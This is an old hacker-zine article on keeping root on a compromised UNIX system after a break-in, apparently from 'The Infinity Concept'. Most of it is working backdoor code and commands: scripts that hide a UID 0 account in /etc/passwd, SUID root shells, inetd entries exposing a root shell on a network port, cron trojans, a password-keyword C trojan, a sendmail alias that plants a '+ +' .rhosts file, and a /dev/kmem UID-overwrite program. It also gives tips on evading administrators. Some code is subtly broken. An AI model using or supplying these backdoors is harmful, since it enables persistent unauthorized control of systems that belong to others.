415 lines
19 KiB
Plaintext
415 lines
19 KiB
Plaintext
|
Ok..... You've been at it for all night. Trying all the exploits you can think of. The system seems tight. The system looks tight.
|
||
|
The system *is* tight. You've tried everything. Default passwds, guessable passwds, NIS weaknesses, NFS holes, incorrect
|
||
|
permissions, race conditions, SUID exploits, Sendmail bugs, and so on... Nothing. WAIT! What's that!?!? A "#" ???? Finally!
|
||
|
After seeming endless toiling, you've managed to steal root. Now what? How do you hold onto this precious super-user
|
||
|
privilege you have worked so hard to achieve....?
|
||
|
|
||
|
This article is intended to show you how to hold onto root once you have it. It is intended for hackers and administrators alike.
|
||
|
From a hacking perspective, it is obvious what good this paper will do you. Admin's can likewise benefit from this paper. Ever
|
||
|
wonder how that pesky hacker always manages to pop up, even when you think you've completely eradicated him from your
|
||
|
system?
|
||
|
This list is BY NO MEANS comprehensive. There are as many ways to leave backdoors into a UNIX computer as there are
|
||
|
ways into one.
|
||
|
|
||
|
Beforehand
|
||
|
|
||
|
Know the location of critical system files. This should be obvious (If you can't list any of the top of your head, stop reading
|
||
|
now, get a book on UNIX, read it, then come back to me...). Familiarity with passwd file formats (including general 7 field
|
||
|
format, system specific naming conventions, shadowing mechanisms, etc...). Know vi. Many systems will not have those
|
||
|
robust, user-friendly editors such as Pico and Emacs. Vi is also quite useful for needing to quickly seach and edit a large file. If
|
||
|
you are connecting remotely (via dial-up/telnet/rlogin/whatver) it's always nice to have a robust terminal program that has a
|
||
|
nice, FAT scrollback buffer. This will come in handy if you want to cut and paste code, rc files, shell scripts, etc...
|
||
|
|
||
|
The permenance of these backdoors will depend completely on the technical saavy of the administrator. The experienced and
|
||
|
skilled administrator will be wise to many (if not all) of these backdoors. But, if you have managed to steal root, it is likely the
|
||
|
admin isn't as skilled (or up to date on bug reports) as she should be, and many of these doors may be in place for some time
|
||
|
to come. One major thing to be aware of, is the fact that if you can cover you tracks during the initial break-in, no one will be
|
||
|
looking for back doors.
|
||
|
|
||
|
|
||
|
|
||
|
The Overt
|
||
|
|
||
|
[1] Add a UID 0 account to the passwd file. This is probably the most obvious and quickly discovered method of rentry. It
|
||
|
flies a red flag to the admin, saying "WE'RE UNDER ATTACK!!!". If you must do this, my advice is DO NOT simply
|
||
|
prepend or append it. Anyone causally examining the passwd file will see this. So, why not stick it in the middle...
|
||
|
|
||
|
#!/bin/csh
|
||
|
# Inserts a UID 0 account into the middle of the passwd file.
|
||
|
# There is likely a way to do this in 1/2 a line of AWK or SED. Oh well.
|
||
|
# daemon9@netcom.com
|
||
|
|
||
|
set linecount = `wc -l /etc/passwd`
|
||
|
cd # Do this at home.
|
||
|
cp /etc/passwd ./temppass # Safety first.
|
||
|
echo passwd file has $linecount[1] lines.
|
||
|
@ linecount[1] /= 2
|
||
|
@ linecount[1] += 1 # we only want 2 temp files
|
||
|
echo Creating two files, $linecount[1] lines each \(or approximately that\).
|
||
|
split -$linecount[1] ./temppass # passwd string optional
|
||
|
echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
|
||
|
cat ./xab >> ./xaa
|
||
|
mv ./xaa /etc/passwd
|
||
|
chmod 644 /etc/passwd # or whatever it was beforehand
|
||
|
rm ./xa* ./temppass
|
||
|
echo Done...
|
||
|
|
||
|
NEVER, EVER, change the root password. The reasons are obvious.
|
||
|
|
||
|
[2] In a similar vein, enable a disabled account as UID 0, such as Sync. Or, perhaps, an account somwhere buried deep in the
|
||
|
passwd file has been abandoned, and disabled by the sysadmin. Change her UID to 0 (and remove the '*' from the second
|
||
|
field).
|
||
|
|
||
|
[3] Leave an SUID root shell in /tmp.
|
||
|
|
||
|
#!/bin/sh
|
||
|
# Everyone's favorite...
|
||
|
|
||
|
cp /bin/csh /tmp/.evilnaughtyshell # Don't name it that...
|
||
|
chmod 4755 /tmp/.evilnaughtyshell
|
||
|
|
||
|
Many systems run cron jobs to clean /tmp nightly. Most systems clean /tmp upon a reboot. Many systems have /tmp mounted
|
||
|
to disallow SUID programs from executing. You can change all of these, but if the filesystem starts filling up, people may
|
||
|
notice...but, hey, this *is* the overt section....). I will not detail the changes neccessary because they can be quite system
|
||
|
specific. Check out /var/spool/cron/crontabs/root and /etc/fstab.
|
||
|
|
||
|
|
||
|
|
||
|
The Veiled
|
||
|
|
||
|
[4] The super-server configuration file is not the first place a sysadmin will look, so why not put one there? First, some
|
||
|
background info: The Internet daemon (/etc/inetd) listens for connection requests on TCP and UDP ports and spawns the
|
||
|
appropriate program (usally a server) when a connection request arrives. The format of the /etc/inetd.conf file is simple. Typical
|
||
|
lines look like this:
|
||
|
|
||
|
(1) (2) (3) (4) (5) (6) (7)
|
||
|
ftp stream tcp nowait root /usr/etc/ftpd ftpd
|
||
|
talk dgram udp wait root /usr/etc/ntalkd ntalkd
|
||
|
|
||
|
Field (1) is the daemon name that should appear in /etc/services. This tells inetd what to look for in /etc/services to determine
|
||
|
which port it should associate the program name with. (2) tells inetd which type of socket connection the daemon will expect.
|
||
|
TCP uses streams, and UDP uses datagrams. Field (3) is the protocol field which is either of the two transport protocols, TCP
|
||
|
or UDP. Field (4) specifies whether or not the daemon is iterative or concurrent. A 'wait' flag indicates that the server will
|
||
|
process a connection and make all subsequent connections wait. 'Nowait' means the server will accept a connection, spawn a
|
||
|
child process to handle the connection, and then go back to sleep, waiting for further connections. Field (5) is the user (or more
|
||
|
inportantly, the UID) that the daemon is run as. (6) is the program to run when a connection arrives, and (7) is the actual
|
||
|
command (and optional arguments). If the program is trivial (usally requiring no user interaction) inetd may handle it internally.
|
||
|
This is done with an 'internal' flag in fields (6) and (7).
|
||
|
So, to install a handy backdoor, choose a service that is not used often, and replace the daemon that would normally handle it
|
||
|
with something else. A program that creates an SUID root shell, a program that adds a root account for you in the /etc/passwd
|
||
|
file, etc...
|
||
|
For the insinuation-impaired, try this:
|
||
|
|
||
|
Open the /etc/inetd.conf in an available editor. Find the line that reads:
|
||
|
|
||
|
|
||
|
daytime stream tcp nowait root internal
|
||
|
|
||
|
and change it to:
|
||
|
|
||
|
daytime stream tcp nowait /bin/sh sh -i.
|
||
|
|
||
|
You now need to restart /etc/inetd so it will reread the config file. It is up to you how you want to do this. You can kill and
|
||
|
restart the process, (kill -9 , /usr/sbin/inetd or /usr/etc/inetd) which will interuppt ALL network connections (so it is a good idea
|
||
|
to do this off peak hours).
|
||
|
|
||
|
[5] An option to compromising a well known service would be to install a new one, that runs a program of your choice. One
|
||
|
simple solution is to set up a shell the runs similar to the above backdoor. You need to make sure the entry appears in
|
||
|
/etc/services as well as in /etc/inetd.conf. The format of the /etc/services file is simple:
|
||
|
|
||
|
(1) (2)/(3) (4)
|
||
|
smtp 25/tcp mail
|
||
|
|
||
|
Field (1) is the service, field (2) is the port number, (3) is the protocol type the service expects, and (4) is the common name
|
||
|
associated with the service. For instance, add this line to /etc/services:
|
||
|
|
||
|
evil 22/tcp evil
|
||
|
|
||
|
and this line to /etc/inetd.conf:
|
||
|
|
||
|
evil stream tcp nowait /bin/sh sh -i
|
||
|
|
||
|
Restart inetd as before.
|
||
|
|
||
|
Note: Potentially, these are a VERY powerful backdoors. They not only offer local rentry from any account on the system,
|
||
|
they offer rentry from *any* account on *any* computer on the Internet.
|
||
|
|
||
|
[6] Cron-based trojan I. Cron is a wonderful system administration tool. It is also a wonderful tool for backdoors, since root's
|
||
|
crontab will, well, run as root... Again, depending on the level of experience of the sysadmin (and the implementation), this
|
||
|
backdoor may or may not last. /var/spool/cron/crontabs/root is where root's list for crontabs is usally located. Here, you have
|
||
|
several options. I will list a only few, as cron-based backdoors are only limited by your imagination. Cron is the clock daemon.
|
||
|
It is a tool for automatically executing commands at specified dates and times. Crontab is the command used to add, remove,
|
||
|
or view your crontab entries. It is just as easy to manually edit the /var/spool/crontab/root file as it is to use crontab. A crontab
|
||
|
entry has six fields:
|
||
|
|
||
|
(1) (2) (3) (4) (5) (6)
|
||
|
0 0 * * 1 /usr/bin/updatedb
|
||
|
|
||
|
Fields (1)-(5) are as follows: minute (0-59), hour (0-23), day of the month (1-31) month of the year (1-12), day of the week
|
||
|
(0-6). Field (6) is the command (or shell script) to execute. The above shell script is executed on Mondays. To exploit cron,
|
||
|
simply add an entry into /var/spool/crontab/root. For example: You can have a cronjob that will run daily and look in the
|
||
|
/etc/passwd file for the UID 0 account we previously added, and add him if he is missing, or do nothing otherwise (it may not
|
||
|
be a bad idea to actually *insert* this shell code into an already installed crontab entry shell script, to further obfuscate your
|
||
|
shady intentions). Add this line to /var/spool/crontab/root:
|
||
|
|
||
|
0 0 * * * /usr/bin/trojancode
|
||
|
|
||
|
This is the shell script:
|
||
|
|
||
|
#!/bin/csh
|
||
|
# Is our eviluser still on the system? Let's make sure he is.
|
||
|
#daemon9@netcom.com
|
||
|
|
||
|
set evilflag = (`grep eviluser /etc/passwd`)
|
||
|
|
||
|
|
||
|
if($#evilflag == 0) then # Is he there?
|
||
|
|
||
|
set linecount = `wc -l /etc/passwd`
|
||
|
cd # Do this at home.
|
||
|
cp /etc/passwd ./temppass # Safety first.
|
||
|
@ linecount[1] /= 2
|
||
|
@ linecount[1] += 1 # we only want 2 temp files
|
||
|
split -$linecount[1] ./temppass # passwd string optional
|
||
|
echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
|
||
|
cat ./xab >> ./xaa
|
||
|
mv ./xaa /etc/passwd
|
||
|
chmod 644 /etc/passwd # or whatever it was beforehand
|
||
|
rm ./xa* ./temppass
|
||
|
echo Done...
|
||
|
else
|
||
|
endif
|
||
|
|
||
|
[7] Cron-based trojan II. This one was brought to my attention by our very own Mr. Zippy. For this, you need a copy of the
|
||
|
/etc/passwd file hidden somewhere. In this hidden passwd file (call it /var/spool/mail/.sneaky) we have but one entry, a root
|
||
|
account with a passwd of your choosing. We run a cronjob that will, every morning at 2:30am (or every other morning), save a
|
||
|
copy of the real /etc/passwd file, and install this trojan one as the real /etc/passwd file for one minute (synchronize swatches!).
|
||
|
Any normal user or process trying to login or access the /etc/passwd file would get an error, but one minute later, everything
|
||
|
would be ok. Add this line to root's crontab file:
|
||
|
|
||
|
|
||
|
29 2 * * * /bin/usr/sneakysneaky_passwd
|
||
|
|
||
|
make sure this exists:
|
||
|
|
||
|
#echo "root:1234567890123:0:0:Operator:/:/bin/csh" > /var/spool/mail/.sneaky
|
||
|
|
||
|
and this is the simple shell script:
|
||
|
|
||
|
#!/bin/csh
|
||
|
# Install trojan /etc/passwd file for one minute
|
||
|
#daemon9@netcom.com
|
||
|
|
||
|
cp /etc/passwd /etc/.temppass
|
||
|
cp /var/spool/mail/.sneaky /etc/passwd
|
||
|
sleep 60
|
||
|
mv /etc/.temppass /etc/passwd
|
||
|
|
||
|
[8] Compiled code trojan. Simple idea. Instead of a shell script, have some nice C code to obfuscate the effects. Here it is.
|
||
|
Make sure it runs as root. Name it something innocous. Hide it well.
|
||
|
|
||
|
/* A little trojan to create an SUID root shell, if the proper argument is
|
||
|
given. C code, rather than shell to hide obvious it's effects. */
|
||
|
/* daemon9@netcom.com */
|
||
|
|
||
|
#include
|
||
|
|
||
|
#define KEYWORD "industry3"
|
||
|
#define BUFFERSIZE 10
|
||
|
|
||
|
int main(argc, argv)
|
||
|
int argc;
|
||
|
char *argv[];{
|
||
|
|
||
|
int i=0;
|
||
|
|
||
|
if(argv[1]){ /* we've got an argument, is it the keyword? */
|
||
|
|
||
|
if(!(strcmp(KEYWORD,argv[1]))){
|
||
|
|
||
|
/* This is the trojan part. */
|
||
|
system("cp /bin/csh /bin/.swp121");
|
||
|
system("chown root /bin/.swp121");
|
||
|
system("chmod 4755 /bin/.swp121");
|
||
|
}
|
||
|
}
|
||
|
/* Put your possibly system specific trojan
|
||
|
messages here */
|
||
|
/* Let's look like we're doing something... */
|
||
|
printf("Sychronizing bitmap image records.");
|
||
|
/* system("ls -alR / >& /dev/null > /dev/null&"); */
|
||
|
for(;i<10;i++){
|
||
|
fprintf(stderr,".");
|
||
|
sleep(1);
|
||
|
}
|
||
|
printf("\nDone.\n");
|
||
|
return(0);
|
||
|
} /* End main */
|
||
|
|
||
|
[9] The sendmail aliases file. The sendmail aliases file allows for mail sent to a particular username to either expand to several
|
||
|
users, or perhaps pipe the output to a program. Most well known of these is the uudecode alias trojan. Simply add the line:
|
||
|
|
||
|
"decode: "|/usr/bin/uudecode"
|
||
|
|
||
|
to the /etc/aliases file. Usally, you would then create a uuencoded .rhosts file with the full pathname embedded.
|
||
|
|
||
|
#! /bin/csh
|
||
|
|
||
|
# Create our .rhosts file. Note this will output to stdout.
|
||
|
|
||
|
echo "+ +" > tmpfile
|
||
|
/usr/bin/uuencode tmpfile /root/.rhosts
|
||
|
|
||
|
Next telnet to the desired site, port 25. Simply fakemail to decode and use as the subject body, the uuencoded version of the
|
||
|
.rhosts file. For a one liner (not faked, however) do this:
|
||
|
|
||
|
%echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail decode@target.com
|
||
|
|
||
|
You can be as creative as you wish in this case. You can setup an alias that, when mailed to, will run a program of your
|
||
|
choosing. Many of the previous scripts and methods can be employed here.
|
||
|
|
||
|
|
||
|
|
||
|
The Covert
|
||
|
|
||
|
[10] Trojan code in common programs. This is a rather sneaky method that is really only detectable by programs such tripwire.
|
||
|
The idea is simple: insert trojan code in the source of a commonly used program. Some of most useful programs to us in this
|
||
|
case are su, login and passwd because they already run SUID root, and need no permission modification. Below are some
|
||
|
general examples of what you would want to do, after obtaining the correct sourcecode for the particular flavor of UNIX you
|
||
|
are backdooring. (Note: This may not always be possible, as some UNIX vendors are not so generous with thier sourcecode.)
|
||
|
Since the code is very lengthy and different for many flavors, I will just include basic psuedo-code:
|
||
|
|
||
|
get input;
|
||
|
if input is special hardcoded flag, spawn evil trojan;
|
||
|
else if input is valid, continue;
|
||
|
else quit with error;
|
||
|
...
|
||
|
|
||
|
Not complex or difficult. Trojans of this nature can be done in less than 10 lines of additional code.
|
||
|
|
||
|
|
||
|
|
||
|
The Esoteric
|
||
|
|
||
|
[11] /dev/kmem exploit. It represents the virtual of the system. Since the kernel keeps it's parameters in memory, it is possible
|
||
|
to modify the memory of the machine to change the UID of your processes. To do so requires that /dev/kmem have read/write
|
||
|
permission. The following steps are executed: Open the /dev/kmem device, seek to your page in memory, overwrite the UID of
|
||
|
your current process, then spawn a csh, which will inherit this UID. The following program does just that.
|
||
|
|
||
|
/* If /kmem is is readable and writable, this program will change the user's
|
||
|
UID and GID to 0. */
|
||
|
/* This code originally appeared in "UNIX security: A practical tutorial"
|
||
|
with some modifications by daemon9@netcom.com */
|
||
|
|
||
|
#include
|
||
|
#include
|
||
|
#include
|
||
|
#include
|
||
|
#include
|
||
|
#include
|
||
|
#include
|
||
|
|
||
|
#define KEYWORD "nomenclature1"
|
||
|
|
||
|
struct user userpage;
|
||
|
long address(), userlocation;
|
||
|
|
||
|
int main(argc, argv, envp)
|
||
|
int argc;
|
||
|
char *argv[], *envp[];{
|
||
|
|
||
|
int count, fd;
|
||
|
long where, lseek();
|
||
|
|
||
|
if(argv[1]){ /* we've got an argument, is it the keyword? */
|
||
|
if(!(strcmp(KEYWORD,argv[1]))){
|
||
|
fd=(open("/dev/kmem",O_RDWR);
|
||
|
|
||
|
if(fd<0){
|
||
|
printf("Cannot read or write to /dev/kmem\n");
|
||
|
perror(argv);
|
||
|
exit(10);
|
||
|
}
|
||
|
|
||
|
userlocation=address();
|
||
|
where=(lseek(fd,userlocation,0);
|
||
|
|
||
|
if(where!=userlocation){
|
||
|
printf("Cannot seek to user page\n");
|
||
|
perror(argv);
|
||
|
exit(20);
|
||
|
}
|
||
|
|
||
|
count=read(fd,&userpage,sizeof(struct user));
|
||
|
|
||
|
if(count!=sizeof(struct user)){
|
||
|
printf("Cannot read user page\n");
|
||
|
perror(argv);
|
||
|
exit(30);
|
||
|
}
|
||
|
|
||
|
printf("Current UID: %d\n",userpage.u_ruid);
|
||
|
printf("Current GID: %d\n",userpage.g_ruid);
|
||
|
|
||
|
userpage.u_ruid=0;
|
||
|
userpage.u_rgid=0;
|
||
|
|
||
|
where=lseek(fd,userlocation,0);
|
||
|
|
||
|
if(where!=userlocation){
|
||
|
printf("Cannot seek to user page\n");
|
||
|
perror(argv);
|
||
|
exit(40);
|
||
|
}
|
||
|
|
||
|
write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage));
|
||
|
|
||
|
execle("/bin/csh","/bin/csh","-i",(char *)0, envp);
|
||
|
}
|
||
|
}
|
||
|
|
||
|
} /* End main */
|
||
|
|
||
|
#include
|
||
|
#include
|
||
|
#include
|
||
|
|
||
|
#define LNULL ((LDFILE *)0)
|
||
|
|
||
|
long address(){
|
||
|
|
||
|
LDFILE *object;
|
||
|
SYMENT symbol;
|
||
|
long idx=0;
|
||
|
|
||
|
object=ldopen("/unix",LNULL);
|
||
|
|
||
|
if(!object){
|
||
|
fprintf(stderr,"Cannot open /unix.\n");
|
||
|
exit(50);
|
||
|
}
|
||
|
|
||
|
for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){
|
||
|
if(!strcmp("_u",ldgetname(object,&symbol))){
|
||
|
fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value);
|
||
|
ldclose(object);
|
||
|
return(symbol.n_value);
|
||
|
}
|
||
|
}
|
||
|
|
||
|
fprintf(stderr,"Cannot read symbol table in /unix.\n");
|
||
|
exit(60);
|
||
|
}
|
||
|
|
||
|
[12] Since the previous code requires /dev/kmem to be world accessable, and this is not likely a natural event, we need to take
|
||
|
care of this. My advice is to write a shell script similar to the one in [7] that will change the permissions on /dev/kmem for a
|
||
|
discrete amount of time (say 5 minutes) and then restore the original permissions. You can add this source to the source in [7]:
|
||
|
|
||
|
chmod 666 /dev/kmem
|
||
|
sleep 300 # Nap for 5 minutes
|
||
|
chmod 600 /dev/kmem # Or whatever it was before
|
||
|
|
||
|
|
||
|
|
||
|
From The Infinity Concept Issue II
|